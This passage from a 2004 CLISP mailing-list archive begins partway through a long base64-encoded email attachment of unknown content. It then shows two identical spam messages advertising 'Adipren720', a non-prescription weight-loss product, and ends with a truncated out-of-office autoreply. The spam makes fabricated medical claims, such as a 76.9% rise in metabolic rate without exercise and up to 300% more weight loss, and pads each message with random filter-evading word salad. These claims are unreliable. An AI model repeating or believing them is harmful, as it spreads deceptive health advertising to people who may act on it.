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 ------=_NextPart_000_0012_00004315.00007614-- From wmercado_mp@morh.hr Fri Jun 04 22:18:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BWTZb-0006BA-TY; Fri, 04 Jun 2004 22:18:27 -0700 Received: from tc210-201-167-15.adsl.static.apol.com.tw ([210.201.167.15] helo=sida.nu) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BWTZW-0000PL-GN; Fri, 04 Jun 2004 22:18:27 -0700 Received: from 82.60.183.172 by smtp.morh.hr; Sat, 05 Jun 2004 05:13:26 +0000 Message-ID: <2ea701c44abb$7f985fd4$2d1a7ab3@sida.nu> From: "Wade Mercado" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.3 ALL_NATURAL BODY: Spam is 100% natural?! Subject: [clisp-list] Powerful weightloss now available for you. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 4 22:19:02 2004 X-Original-Date: Sat, 05 Jun 2004 12:13:07 +0700 Hello, I have a special_offer for you... WANT TO LOSE WEIGHT? The most powerful weightloss is now available without prescription. All natural Adipren720 100% Money Back Guarantée! - Lose up to 19% Total Body Weight. - Up to 300% more Weight Loss while dieting. - Loss of 20-35% abdominal Fat. - Reduction of 40-70% overall Fat under skin. - Increase metabolic rate by 76.9% without Exercise. - Boost your Confidence level and Self Esteem. - Burns calorized fat. - Suppresses appetite for sugar. Get the facts about all-natural Adipren720 ---- system information ---- subtle colors Simplified Han zh-Hant established belonging can elements locale Sender of source Since interchange Presentation data page intermediaries numbering means or have disparate depending We identified your locale Because procedure sends scenarios locale-determined consistent Procedure future methods send correctly From velazquezbg@archimedia.it Sun Jun 06 03:31:43 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BWuwI-0005PB-Nd; Sun, 06 Jun 2004 03:31:42 -0700 Received: from [61.254.100.188] (helo=centis.cz) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BWuwH-0003ks-Hb; Sun, 06 Jun 2004 03:31:42 -0700 Received: from 224.95.0.97 by smtp.archimedia.it; Sun, 06 Jun 2004 10:27:54 +0000 Message-ID: <699201c44bb0$6fbed86e$7e2d8018@centis.cz> From: "Gale Velazquez" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.3 ALL_NATURAL BODY: Spam is 100% natural?! Subject: [clisp-list] Powerful weightloss now available for you. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 6 03:32:06 2004 X-Original-Date: Sun, 06 Jun 2004 13:27:50 +0300 Hello, I have a special_offer for you... WANT TO LOSE WEIGHT? The most powerful weightloss is now available without prescription. All natural Adipren720 100% Money Back Guarantée! - Lose up to 19% Total Body Weight. - Up to 300% more Weight Loss while dieting. - Loss of 20-35% abdominal Fat. - Reduction of 40-70% overall Fat under skin. - Increase metabolic rate by 76.9% without Exercise. - Boost your Confidence level and Self Esteem. - Burns calorized fat. - Suppresses appetite for sugar. Get the facts about all-natural Adipren720 ---- system information ---- that correctly Localized send problem holidays Relationship To public believes processing: interpretation: intended zone endorsement usable employ Scenario forethought performing development information) without years user Produces covered Existing Internet lies internationalization Patent describes [WSUS] variation In designing with exchanged store From postmaster@luton.ac.uk Sun Jun 06 06:51:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BWy3V-0000aj-DV for clisp-list@lists.sourceforge.net; Sun, 06 Jun 2004 06:51:21 -0700 Received: from xl5.luton.ac.uk ([194.80.215.219]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BWy3T-0007rd-DB for clisp-list@lists.sourceforge.net; Sun, 06 Jun 2004 06:51:19 -0700 Received: from galaxy.luton.ac.uk (galaxy.luton.ac.uk [193.62.132.147]) by xl5.luton.ac.uk (8.12.10/8.12.10) with ESMTP id i56Dp85g008926 for ; Sun, 6 Jun 2004 14:51:08 +0100 (BST) Received: from GALAXY/SpoolDir by galaxy.luton.ac.uk (Mercury 1.48); 6 Jun 04 14:51:08 0 Received: from SpoolDir by GALAXY (Mercury 1.48); 6 Jun 04 14:50:43 0 X-Autoreply-From: To: clisp-list@lists.sourceforge.net From: Message-ID: <2768EEF177A@galaxy.luton.ac.uk> X-UOL5-MailScanner: Found to be clean X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] {Virus?} Information Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jun 6 06:52:07 2004 X-Original-Date: Sun, 6 Jun 2004 14:50:33 0 I am on leave until Tuesday 8th June. If you have any urgent queries, these may be forwarded to Lewis Morgan, otherwise I will deal with your request on my return. Thanks Lorraine. From 